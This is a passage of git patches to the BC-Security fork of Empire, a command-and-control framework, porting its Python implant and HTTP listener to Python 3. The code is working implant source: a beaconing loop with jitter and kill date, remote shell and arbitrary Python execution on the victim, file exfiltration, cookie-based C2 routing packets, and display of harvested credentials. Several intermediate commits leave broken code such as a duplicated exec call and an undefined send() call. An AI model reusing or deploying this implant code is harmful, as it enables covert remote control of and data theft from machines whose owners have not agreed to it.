math.ceil(old_div(fstat.st_size, 1024)) - unit = "KB" - else: - fsize = fstat.st_size - unit = "B" - - mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime)) - - res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr,user,group,mtime,fsize,unit,fn) - - return res - -# additional implementation methods -def run_command(command, cmdargs=None): - - if re.compile("(ls|dir)").match(command): - if cmdargs == None or not os.path.exists(cmdargs): - cmdargs = '.' - - return directory_listing(cmdargs) - - elif re.compile("pwd").match(command): - return str(os.getcwd()) - elif re.compile("rm").match(command): - if cmdargs == None: - return "please provide a file or directory" - - if os.path.exists(cmdargs): - if os.path.isfile(cmdargs): - os.remove(cmdargs) - return "done." - elif os.path.isdir(cmdargs): - shutil.rmtree(cmdargs) - return "done." - else: - return "unsupported file type" - else: - return "specified file/directory does not exist" - elif re.compile("mkdir").match(command): - if cmdargs == None: - return "please provide a directory" - - os.mkdir(cmdargs) - return "Created directory: {}".format(cmdargs) - - elif re.compile("(whoami|getuid)").match(command): - return pwd.getpwuid(os.getuid())[0] - - elif re.compile("hostname").match(command): - return str(socket.gethostname()) - - else: - if cmdargs != None: - command = "{} {}".format(command,cmdargs) - - p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) - return p.communicate()[0].strip() - -def get_file_part(filePath, offset=0, chunkSize=512000, base64=True): - - if not os.path.exists(filePath): - return '' - - f = open(filePath, 'rb') - f.seek(offset, 0) - data = f.read(chunkSize) - f.close() - if base64: - return base64.b64encode(data) - else: - return data - -################################################ -# -# main agent functionality -# -################################################ - -while(True): - try: - if workingHours != '' and 'WORKINGHOURS' not in workingHours: - try: - start,end = workingHours.split('-') - now = datetime.datetime.now() - startTime = datetime.datetime.strptime(start, "%H:%M") - endTime = datetime.datetime.strptime(end, "%H:%M") - - if not (startTime <= now <= endTime): - sleepTime = startTime - now - # sleep until the start of the next window - time.sleep(sleepTime.seconds) - - except Exception as e: - pass - - # check if we're past the killdate for this agent - # killDate form -> MO/DAY/YEAR - if killDate != "" and 'KILLDATE' not in killDate: - now = datetime.datetime.now().date() - try: - killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date() - except: - pass - - if now >= killDateTime: - msg = "[!] Agent %s exiting" %(sessionID) - send_message(build_response_packet(2, msg)) - agent_exit() - - # exit if we miss commnicating with the server enough times - if missedCheckins >= lostLimit: - agent_exit() - - # sleep for the randomized interval - if jitter < 0: jitter = -jitter - if jitter > 1: jitter = old_div(1,jitter) - minSleep = int((1.0-jitter)*delay) - maxSleep = int((1.0+jitter)*delay) - - sleepTime = random.randint(minSleep, maxSleep) - time.sleep(sleepTime) - - (code, data) = send_message() - - if code == '200': - try: - send_job_message_buffer() - except Exception as e: - result = build_response_packet(0, str('[!] Failed to check job buffer!: ' + str(e))) - process_job_tasking(result) - if data == defaultResponse: - missedCheckins = 0 - else: - decode_routing_packet(data) - else: - pass - # print "invalid code:",code - - except Exception as e: - print("main() exception: %s" % (e)) - diff --git a/lib/common/empire.py b/lib/common/empire.py index 51ffc1a15..e1d7f4786 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3184,7 +3184,6 @@ def do_shell(self, line): "Task an agent to use a shell command." line = line.strip() - print("3175") if line != "": # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", str(line)) From e077cce7d368bd815d0b2835d9d2946148639cad Mon Sep 17 00:00:00 2001 From: Hubbl3 Date: Tue, 7 Jan 2020 06:37:14 -0600 Subject: [PATCH 07/17] python-fixes update --- data/agent/agent.py | 107 ++++++++++++++++++++----------- data/agent/stagers/common/rc4.py | 4 -- data/agent/stagers/http.py | 2 +- lib/common/packets.py | 6 +- lib/listeners/http.py | 14 ++-- 5 files changed, 84 insertions(+), 49 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index c3761cdaf..424401785 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -144,20 +144,26 @@ def build_response_packet(taskingID, packetData, resultID=0): | 2 | 2 | 2 | 2 | 4 | | +------+--------------------+----------+---------+--------+-----------+ """ - + print('response packet') + print('taskingID: ' + str(type(taskingID))) + print('resultID: ' + str(type(resultID))) packetType = struct.pack('=H', taskingID) totalPacket = struct.pack('=H', 1) packetNum = struct.pack('=H', 1) resultID = struct.pack('=H', resultID) - + print('response packet 152') if packetData: - packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8','ignore')) + if(isinstance(packetData, str)): + packetData = base64.b64encode(packetData.encode('utf-8', 'ignore')) + else: + packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8','ignore')) if len(packetData) % 4: packetData += '=' * (4 - len(packetData) % 4) - + print('if packet data') length = struct.pack('=L',len(packetData)) return packetType + totalPacket + packetNum + resultID + length + packetData else: + print('else packet data') length = struct.pack('=L', 0) return packetType + totalPacket + packetNum + resultID + length @@ -186,25 +192,32 @@ def parse_task_packet(packet, offset=0): # print "parse_task_packet" - try: - packetType = struct.unpack('=H', packet[0+offset:2+offset])[0] - totalPacket = struct.unpack('=H', packet[2+offset:4+offset])[0] - packetNum = struct.unpack('=H', packet[4+offset:6+offset])[0] - resultID = struct.unpack('=H', packet[6+offset:8+offset])[0] - length = struct.unpack('=L', packet[8+offset:12+offset])[0] - packetData = packet[12+offset:12+offset+length] - remainingData = packet[12+offset+length:] - return (packetType, totalPacket, packetNum, resultID, length, packetData, remainingData) - except Exception as e: + if(isinstance(packet, str)): + packet = packet.encode('UTF-8') + + #try: + print(str(type(packet))) + packetType = struct.unpack('=H', packet[0+offset:2+offset])[0] + totalPacket = struct.unpack('=H', packet[2+offset:4+offset])[0] + print("parse 193") + packetNum = struct.unpack('=H', packet[4+offset:6+offset])[0] + resultID = struct.unpack('=H', packet[6+offset:8+offset])[0] + length = struct.unpack('=L', packet[8+offset:12+offset])[0] + print("parse 197") + packetData = packet[12+offset:12+offset+length] + remainingData = packet[12+offset+length:] + + return (packetType, totalPacket, packetNum, resultID, length, packetData, remainingData) + #except Exception as e: # print "parse_task_packet exception:",e - return (None, None, None, None, None, None, None) + # return (None, None, None, None, None, None, None) def process_tasking(data): # processes an encrypted data packet # -decrypts/verifies the response to get # -extracts the packets and processes each - + print("processing tasking") try: # aes_decrypt_and_verify is in stager.py tasking = aes_decrypt_and_verify(key, data) @@ -221,7 +234,7 @@ def process_tasking(data): resultPackets += result packetOffset = 12 + length - + print('tasking 231') while remainingData and remainingData != '': (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset) result = process_packet(packetType, data, resultID) @@ -242,6 +255,7 @@ def process_job_tasking(result): # process job data packets # - returns to the C2 # execute/process the packets and get any response + print('job tasking') try: resultPackets = "" if result: @@ -254,12 +268,15 @@ def process_job_tasking(result): def process_packet(packetType, data, resultID): - + print('processing packet') + if(isinstance(data, bytes)): + data = data.decode('UTF-8') try: packetType = int(packetType) except Exception as e: return None - + print('process 270') + print(packetType) if packetType == 1: # sysinfo request # get_sysinfo should be exposed from stager.py @@ -267,19 +284,28 @@ def process_packet(packetType, data, resultID): elif packetType == 2: # agent exit - + print(str(type(resultID))) send_message(build_response_packet(2, "", resultID)) agent_exit() elif packetType == 40: # run a command - parts = data.split(" ") - + print('type 40') + try: + parts = data.split(" ") + except Exception as e: + print(e) if len(parts) == 1: - data = parts[0] - resultData = str(run_command(data)) - return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID) + try: + print('type 40: 1') + data = parts[0] + resultData = str(run_command(data)) + return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID) + except Exception as e: + print(e) else: + print('type 40: 2') + print(str(type(parts))) cmd = parts[0] cmdargs = ' '.join(parts[1:len(parts)]) resultData = str(run_command(cmd, cmdargs=cmdargs)) @@ -383,17 +409,24 @@ def process_packet(packetType, data, resultID): elif packetType == 100: # dynamic code execution, wait for output, don't save outputPicl - try: - buffer = StringIO() - sys.stdout = buffer - code_obj = compile(data, '', 'exec') - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ - results = buffer.getvalue() - return build_response_packet(100, str(results), resultID) - except Exception as e: - errorData = str(buffer.getvalue()) - return build_response_packet(0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) + #try: + print('type 100') + print(str(type(data))) + buffer = StringIO() + print('type 100: 397') + sys.stdout = buffer + code_obj = compile(data, '', 'exec') + exec(code_obj, globals()) + sys.stdout = sys.__stdout__ + code_obj = compile(data, '', 'exec') + exec(code_obj, globals()) + print(code_obj) + print('type 100: 403') + results = buffer.getvalue() + return build_response_packet(100, str(results), resultID) + #except Exception as e: + # errorData = str(buffer.getvalue()) + # return build_response_packet(0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) elif packetType == 101: # dynamic code execution, wait for output, save output @@ -724,7 +757,9 @@ def dec_data(self, data, cheader=True): def agent_exit(): # exit for proper job / thread cleanup + print('exiting agent') if len(jobs) > 0: + print('jobs still running') try: for x in jobs: jobs[int(x)].kill() diff --git a/data/agent/stagers/common/rc4.py b/data/agent/stagers/common/rc4.py index 4813beda6..c1478503a 100644 --- a/data/agent/stagers/common/rc4.py +++ b/data/agent/stagers/common/rc4.py @@ -112,8 +112,6 @@ def parse_routing_packet(stagingKey, data): break offset += 20 + length - print("Parse packet:") - print(results) return results else: @@ -175,6 +173,4 @@ def build_routing_packet(stagingKey, sessionID, meta=0, additional=0, encData='' if isinstance(rc4EncData, str): rc4EncData = rc4EncData.encode('UTF-8') packet = RC4IV + rc4EncData + encData - print("Build packet:") - print(packet) return packet \ No newline at end of file diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py index dcefeaaac..e13e781b4 100644 --- a/data/agent/stagers/http.py +++ b/data/agent/stagers/http.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 """ This file is a Jinja2 template. diff --git a/lib/common/packets.py b/lib/common/packets.py index 50b92c856..f65772b48 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -278,7 +278,10 @@ def parse_routing_packet(stagingKey, data): RC4IV = data[0 + offset:4 + offset] RC4data = data[4 + offset:20 + offset] routingPacket = encryption.rc4(RC4IV + stagingKey.encode('UTF-8'), RC4data) - sessionID = routingPacket[0:8].decode('UTF-8') + try: + sessionID = routingPacket[0:8].decode('UTF-8') + except: + sessionID = routingPacket[0:8].decode('latin-1') # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) @@ -304,7 +307,6 @@ def parse_routing_packet(stagingKey, data): break offset += 20 + length - print(results) return results else: diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 91a5f6918..cdad72697 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -853,14 +853,15 @@ def send_message(packets=None): global server global headers global taskURIs - + print('sendmessage') data = None if packets: - data = ''.join(packets) + print('if packets eneterd') + data = ''.join(packets.decode('UTF-8')) + print('if packets 2') # aes_encrypt_then_hmac is in stager.py encData = aes_encrypt_then_hmac(key, data) - encData = aes_encrypt_then_hmac(key, data) - encData = aes_encrypt_then_hmac(key, data) + print('if packets 3') data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) else: # if we're GETing taskings, then build the routing packet to stuff info a cookie first. @@ -868,12 +869,13 @@ def send_message(packets=None): routingPacket = build_routing_packet(stagingKey, sessionID, meta=4) b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') headers['Cookie'] = \"""" + self.session_cookie + """session=%s" % (b64routingPacket) - + print(headers['Cookie']) taskURI = random.sample(taskURIs, 1)[0] requestUri = server + taskURI try: data = (urllib.urlopen(urllib.Request(requestUri, data, headers))).read() + print('returning 200') return ('200', data) except urllib.HTTPError as HTTPError: @@ -889,7 +891,7 @@ def send_message(packets=None): # if the server cannot be reached missedCheckins = missedCheckins + 1 return (URLerror.reason, '') - + print('send message return') return ('', '') """ return updateServers + sendMessage From dbc98ac7f75b09f1186fe39c086347d3ab250c8c Mon Sep 17 00:00:00 2001 From: Hubbl3 Date: Fri, 10 Jan 2020 23:22:07 -0600 Subject: [PATCH 08/17] intial fix for #51 --- data/agent/agent.py | 45 ++++++++++++++++++++++++------------------- lib/listeners/http.py | 21 ++++++++++++-------- 2 files changed, 38 insertions(+), 28 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index 424401785..f00e74a09 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -146,7 +146,7 @@ def build_response_packet(taskingID, packetData, resultID=0): """ print('response packet') print('taskingID: ' + str(type(taskingID))) - print('resultID: ' + str(type(resultID))) + print('packetData: ' + str(type(packetData))) packetType = struct.pack('=H', taskingID) totalPacket = struct.pack('=H', 1) packetNum = struct.pack('=H', 1) @@ -159,8 +159,12 @@ def build_response_packet(taskingID, packetData, resultID=0): packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8','ignore')) if len(packetData) % 4: packetData += '=' * (4 - len(packetData) % 4) - print('if packet data') - length = struct.pack('=L',len(packetData)) + print('if packet data: agent.py') + try: + length = struct.pack('=L',len(packetData)) + print('length not the issue') + except Exception as e: + print(e) return packetType + totalPacket + packetNum + resultID + length + packetData else: print('else packet data') @@ -280,7 +284,7 @@ def process_packet(packetType, data, resultID): if packetType == 1: # sysinfo request # get_sysinfo should be exposed from stager.py - return build_response_packet(1, get_sysinfo(), resultID) + send_message(build_response_packet(1, get_sysinfo(), resultID)) elif packetType == 2: # agent exit @@ -300,23 +304,24 @@ def process_packet(packetType, data, resultID): print('type 40: 1') data = parts[0] resultData = str(run_command(data)) - return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID) + print('Type 40: 2') + send_message(build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)) except Exception as e: print(e) else: - print('type 40: 2') + print('type 40: 3') print(str(type(parts))) cmd = parts[0] cmdargs = ' '.join(parts[1:len(parts)]) resultData = str(run_command(cmd, cmdargs=cmdargs)) - return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID) - + send_message(build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)) + print('type 40 not the issue') elif packetType == 41: # file download objPath = os.path.abspath(data) fileList = [] if not os.path.exists(objPath): - return build_response_packet(40, "file does not exist or cannot be accessed", resultID) + send_message(build_response_packet(40, "file does not exist or cannot be accessed", resultID)) if not os.path.isdir(objPath): fileList.append(objPath) @@ -390,7 +395,7 @@ def process_packet(packetType, data, resultID): msg = "Active jobs:\n" for x in range(len(jobs)): msg += "\t%s" %(x) - return build_response_packet(50, msg, resultID) + send_message(build_response_packet(50, msg, resultID)) elif packetType == 51: # stop and remove a specified job if it's running @@ -423,7 +428,7 @@ def process_packet(packetType, data, resultID): print(code_obj) print('type 100: 403') results = buffer.getvalue() - return build_response_packet(100, str(results), resultID) + send_message(build_response_packet(100, str(results), resultID)) #except Exception as e: # errorData = str(buffer.getvalue()) # return build_response_packet(0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) @@ -444,11 +449,11 @@ def process_packet(packetType, data, resultID): comp_data = c.comp_data(buffer.getvalue()) encodedPart = c.build_header(comp_data, start_crc32) encodedPart = base64.b64encode(encodedPart) - return build_response_packet(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + encodedPart, resultID) + send_message(build_response_packet(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + encodedPart, resultID)) except Exception as e: # Also return partial code that has been executed errorData = str(buffer.getvalue()) - return build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) + send_message(build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID)) elif packetType == 102: # on disk code execution for modules that require multiprocessing not supported by exec @@ -472,16 +477,16 @@ def process_packet(packetType, data, resultID): fileCheck = os.path.isfile(implantPath) if fileCheck: result += "\n\nError removing module file, please verify path: " + str(implantPath) - return build_response_packet(100, str(result), resultID) + send_message(build_response_packet(100, str(result), resultID)) except Exception as e: fileCheck = os.path.isfile(implantPath) if fileCheck: - return build_response_packet(0, "error executing specified Python data: %s \nError removing module file, please verify path: %s" %(e, implantPath), resultID) - return build_response_packet(0, "error executing specified Python data: %s" %(e), resultID) + send_message(build_response_packet(0, "error executing specified Python data: %s \nError removing module file, please verify path: %s" %(e, implantPath), resultID)) + send_message(build_response_packet(0, "error executing specified Python data: %s" %(e), resultID)) elif packetType == 110: start_job(data) - return build_response_packet(110, "job %s started" %(len(jobs)-1), resultID) + send(build_response_packet(110, "job %s started" %(len(jobs)-1), resultID)) elif packetType == 111: # TASK_CMD_JOB_SAVE @@ -498,10 +503,10 @@ def process_packet(packetType, data, resultID): exec(code_obj, globals()) sys.stdout = sys.__stdout__ result = str(buffer.getvalue()) - return build_response_packet(121, result, resultID) + send_message(build_response_packet(121, result, resultID)) except Exception as e: errorData = str(buffer.getvalue()) - return build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) + send_message(build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID)) elif packetType == 122: #base64 decode and decompress the data @@ -556,7 +561,7 @@ def process_packet(packetType, data, resultID): send_message(build_response_packet(124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID)) else: - return build_response_packet(0, "invalid tasking ID: %s" %(taskingID), resultID) + send_message(build_response_packet(0, "invalid tasking ID: %s" %(taskingID), resultID)) ################################################ diff --git a/lib/listeners/http.py b/lib/listeners/http.py index cdad72697..eef68d355 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -853,19 +853,24 @@ def send_message(packets=None): global server global headers global taskURIs - print('sendmessage') + print('sendmessage update') data = None if packets: - print('if packets eneterd') - data = ''.join(packets.decode('UTF-8')) - print('if packets 2') - # aes_encrypt_then_hmac is in stager.py - encData = aes_encrypt_then_hmac(key, data) - print('if packets 3') - data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) + try: + print('if packets eneterd changed') + data = ''.join(packets.decode('latin-1')) + print('if packets 2') + # aes_encrypt_then_hmac is in stager.py + encData = aes_encrypt_then_hmac(key, data) + print('if packets 3') + data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) + except Exception as e: + print(e) + else: # if we're GETing taskings, then build the routing packet to stuff info a cookie first. # meta TASKING_REQUEST = 4 + print('getting tasking') routingPacket = build_routing_packet(stagingKey, sessionID, meta=4) b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') headers['Cookie'] = \"""" + self.session_cookie + """session=%s" % (b64routingPacket) From c2d1e7ca5d631a7cb710e2d4f8b36f63e40e6361 Mon Sep 17 00:00:00 2001 From: Hubbl3 Date: Fri, 10 Jan 2020 23:52:09 -0600 Subject: [PATCH 09/17] fixed cd for python agents --- data/agent/agent.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index f00e74a09..775c82cf5 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -313,9 +313,11 @@ def process_packet(packetType, data, resultID): print(str(type(parts))) cmd = parts[0] cmdargs = ' '.join(parts[1:len(parts)]) + print(cmd) + print(parts[1]) resultData = str(run_command(cmd, cmdargs=cmdargs)) send_message(build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)) - print('type 40 not the issue') + elif packetType == 41: # file download objPath = os.path.abspath(data) @@ -982,7 +984,9 @@ def run_command(command, cmdargs=None): cmdargs = '.' return directory_listing(cmdargs) - + if re.compile("cd").match(command): + os.chdir(cmdargs) + return str(os.getcwd()) elif re.compile("pwd").match(command): return str(os.getcwd()) elif re.compile("rm").match(command): From c35ccc838587c6a4765e3249656fa2b81e86e7a8 Mon Sep 17 00:00:00 2001 From: Hubbl3 Date: Sat, 11 Jan 2020 21:53:19 -0600 Subject: [PATCH 10/17] creds fix #65 --- lib/common/messages.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/common/messages.py b/lib/common/messages.py index 7cc5bd70f..36adbdd20 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -476,8 +476,10 @@ def display_credentials(creds): domain = cred[2] username = cred[3] password = cred[4] - host = cred[5].decode('latin-1') - + if isinstance(cred[5], bytes): + host = cred[5].decode('latin-1') + else: + host = cred[5] print(" %s%s%s%s%s%s" % ('{0: <8}'.format(credID), '{0: <11}'.format(credType), '{0: <25}'.format(domain), '{0: <17}'.format(username), '{0: <17}'.format(host), password)) print('') From 3f2d84137205adac64294c4a8da426cd6d8c586f Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Sun, 12 Jan 2020 13:56:41 -0700 Subject: [PATCH 11/17] missed a conflict --- lib/listeners/http.py | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 36705a336..e71f4c08d 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -447,16 +447,13 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') -<<<<<<< HEAD - b64RoutingPacket = base64.b64encode(routingPacket) - launcherBase += "req=urllib2.Request(server+t);\n" - # add the RC4 packet to a cookie - launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket) -======= + b64RoutingPacket = base64.b64encode(routingPacket).decode('UTF-8') launcherBase += "req=urllib.Request(server+t);\n" ->>>>>>> python-fixes + + # add the RC4 packet to a cookie + launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket) # Add custom headers if any if customHeaders != []: From 51c6a3bb64b57e58edaf77a0ddba1da5e715e0ca Mon Sep 17 00:00:00 2001 From: Hubbl3 Date: Sun, 12 Jan 2020 15:00:02 -0600 Subject: [PATCH 12/17] update banner --- lib/common/empire.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 4a2376382..42ce0b9fd 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -14,7 +14,7 @@ from builtins import input from builtins import str from builtins import range -VERSION = "3.0.1 BC-Security Fork" +VERSION = "3.0.2-Bug-Fixes BC-Security Fork" from pydispatch import dispatcher From 08cc5cf737f125ccc25ecbe43885bc1bad9567dd Mon Sep 17 00:00:00 2001 From: roseaj Date: Sun, 12 Jan 2020 23:01:04 -0500 Subject: [PATCH 13/17] Updated changelog and versions --- VERSION | 2 +- changelog | 20 ++++++++++++++++++++ lib/common/empire.py | 2 +- 3 files changed, 22 insertions(+), 2 deletions(-) diff --git a/VERSION b/VERSION index d9c62ed92..282895a8f 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -3.0.2 \ No newline at end of file +3.0.3 \ No newline at end of file diff --git a/changelog b/changelog index 94538fab2..1871463a5 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,23 @@ +1/13/2020 +------------ +- Version 3.0.3 Master Release + - Updated RESTful API to Python 3 - #49 (@Cx01N) + - Fixed credential issue - #65 (@Hubbl3) + - Fixed python agent - #52 (@Cx01N, @Hubbl3) + - Cleaned up install files - #58 (@Vinnybod) + +1/7/2020 +------------ +- Version 3.0.2 Master Release + - Updated SystemRandom() and maintain API compatibility - #29 (@moloch--) + - Fixed invoke-shell code (@Hubbl3) + - Fixed meterpreter stager generation - #59 (@Hubbl3) + - Fixed lnk and dll launchers - #57 (@C01N) + - Fixed multi/macro launcher - #60 (@Hubbl3) + - Updated orphaned agent handling - #56 (@Hubbl3) + - Fixed pip3 install - #50 (@Hubbl3) + - Removed unsupported invoke-shellcode options (@Hubbl3) + 12/29/2019 ------------ - Version 3.0.1 Master Release diff --git a/lib/common/empire.py b/lib/common/empire.py index 42ce0b9fd..20ed6f34d 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -14,7 +14,7 @@ from builtins import input from builtins import str from builtins import range -VERSION = "3.0.2-Bug-Fixes BC-Security Fork" +VERSION = "3.0.3 BC-Security Fork" from pydispatch import dispatcher From bf0a4b841329a4ef27e8e5de87691da7f7ff2777 Mon Sep 17 00:00:00 2001 From: Hubbl3 Date: Sun, 12 Jan 2020 22:40:01 -0600 Subject: [PATCH 14/17] removed debugging statements --- data/agent/agent.py | 85 ++++++++++++++++----------------------------- 1 file changed, 29 insertions(+), 56 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index 775c82cf5..df4e56e58 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -199,29 +199,25 @@ def parse_task_packet(packet, offset=0): if(isinstance(packet, str)): packet = packet.encode('UTF-8') - #try: - print(str(type(packet))) - packetType = struct.unpack('=H', packet[0+offset:2+offset])[0] - totalPacket = struct.unpack('=H', packet[2+offset:4+offset])[0] - print("parse 193") - packetNum = struct.unpack('=H', packet[4+offset:6+offset])[0] - resultID = struct.unpack('=H', packet[6+offset:8+offset])[0] - length = struct.unpack('=L', packet[8+offset:12+offset])[0] - print("parse 197") - packetData = packet[12+offset:12+offset+length] - remainingData = packet[12+offset+length:] + try: + packetType = struct.unpack('=H', packet[0+offset:2+offset])[0] + totalPacket = struct.unpack('=H', packet[2+offset:4+offset])[0] + packetNum = struct.unpack('=H', packet[4+offset:6+offset])[0] + resultID = struct.unpack('=H', packet[6+offset:8+offset])[0] + length = struct.unpack('=L', packet[8+offset:12+offset])[0] + packetData = packet[12+offset:12+offset+length] + remainingData = packet[12+offset+length:] return (packetType, totalPacket, packetNum, resultID, length, packetData, remainingData) - #except Exception as e: - # print "parse_task_packet exception:",e - # return (None, None, None, None, None, None, None) + except Exception as e: + print "parse_task_packet exception:",e + return (None, None, None, None, None, None, None) def process_tasking(data): # processes an encrypted data packet # -decrypts/verifies the response to get # -extracts the packets and processes each - print("processing tasking") try: # aes_decrypt_and_verify is in stager.py tasking = aes_decrypt_and_verify(key, data) @@ -238,7 +234,6 @@ def process_tasking(data): resultPackets += result packetOffset = 12 + length - print('tasking 231') while remainingData and remainingData != '': (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset) result = process_packet(packetType, data, resultID) @@ -259,7 +254,6 @@ def process_job_tasking(result): # process job data packets # - returns to the C2 # execute/process the packets and get any response - print('job tasking') try: resultPackets = "" if result: @@ -272,15 +266,13 @@ def process_job_tasking(result): def process_packet(packetType, data, resultID): - print('processing packet') + if(isinstance(data, bytes)): data = data.decode('UTF-8') try: packetType = int(packetType) except Exception as e: return None - print('process 270') - print(packetType) if packetType == 1: # sysinfo request # get_sysinfo should be exposed from stager.py @@ -288,33 +280,19 @@ def process_packet(packetType, data, resultID): elif packetType == 2: # agent exit - print(str(type(resultID))) send_message(build_response_packet(2, "", resultID)) agent_exit() elif packetType == 40: # run a command - print('type 40') - try: - parts = data.split(" ") - except Exception as e: - print(e) + parts = data.split(" ") if len(parts) == 1: - try: - print('type 40: 1') - data = parts[0] - resultData = str(run_command(data)) - print('Type 40: 2') - send_message(build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)) - except Exception as e: - print(e) + data = parts[0] + resultData = str(run_command(data)) + send_message(build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)) else: - print('type 40: 3') - print(str(type(parts))) cmd = parts[0] cmdargs = ' '.join(parts[1:len(parts)]) - print(cmd) - print(parts[1]) resultData = str(run_command(cmd, cmdargs=cmdargs)) send_message(build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)) @@ -416,24 +394,19 @@ def process_packet(packetType, data, resultID): elif packetType == 100: # dynamic code execution, wait for output, don't save outputPicl - #try: - print('type 100') - print(str(type(data))) - buffer = StringIO() - print('type 100: 397') - sys.stdout = buffer - code_obj = compile(data, '', 'exec') - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ - code_obj = compile(data, '', 'exec') - exec(code_obj, globals()) - print(code_obj) - print('type 100: 403') - results = buffer.getvalue() - send_message(build_response_packet(100, str(results), resultID)) - #except Exception as e: - # errorData = str(buffer.getvalue()) - # return build_response_packet(0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) + try: + buffer = StringIO() + sys.stdout = buffer + code_obj = compile(data, '', 'exec') + exec(code_obj, globals()) + sys.stdout = sys.__stdout__ + code_obj = compile(data, '', 'exec') + exec(code_obj, globals()) + results = buffer.getvalue() + send_message(build_response_packet(100, str(results), resultID)) + except Exception as e: + errorData = str(buffer.getvalue()) + return build_response_packet(0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) elif packetType == 101: # dynamic code execution, wait for output, save output From d7ce0df49e49829e942df3b3adda3d23b96cb188 Mon Sep 17 00:00:00 2001 From: Hubbl3 Date: Sun, 12 Jan 2020 22:49:55 -0600 Subject: [PATCH 15/17] fixed more debugging stuff --- lib/common/agents.py | 96 +++++++++++++++++++++---------------------- lib/common/empire.py | 8 ++-- lib/listeners/http.py | 20 +++------ 3 files changed, 56 insertions(+), 68 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index 9ea85a8c4..fdad05248 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1392,24 +1392,59 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s if isinstance(sessionKey, str): sessionKey = (self.agents[sessionID]['sessionKey']).encode('UTF-8') - #try: - message = encryption.aes_decrypt_and_verify(sessionKey, encData) - parts = message.split(b'|') + try: + message = encryption.aes_decrypt_and_verify(sessionKey, encData) + parts = message.split(b'|') - 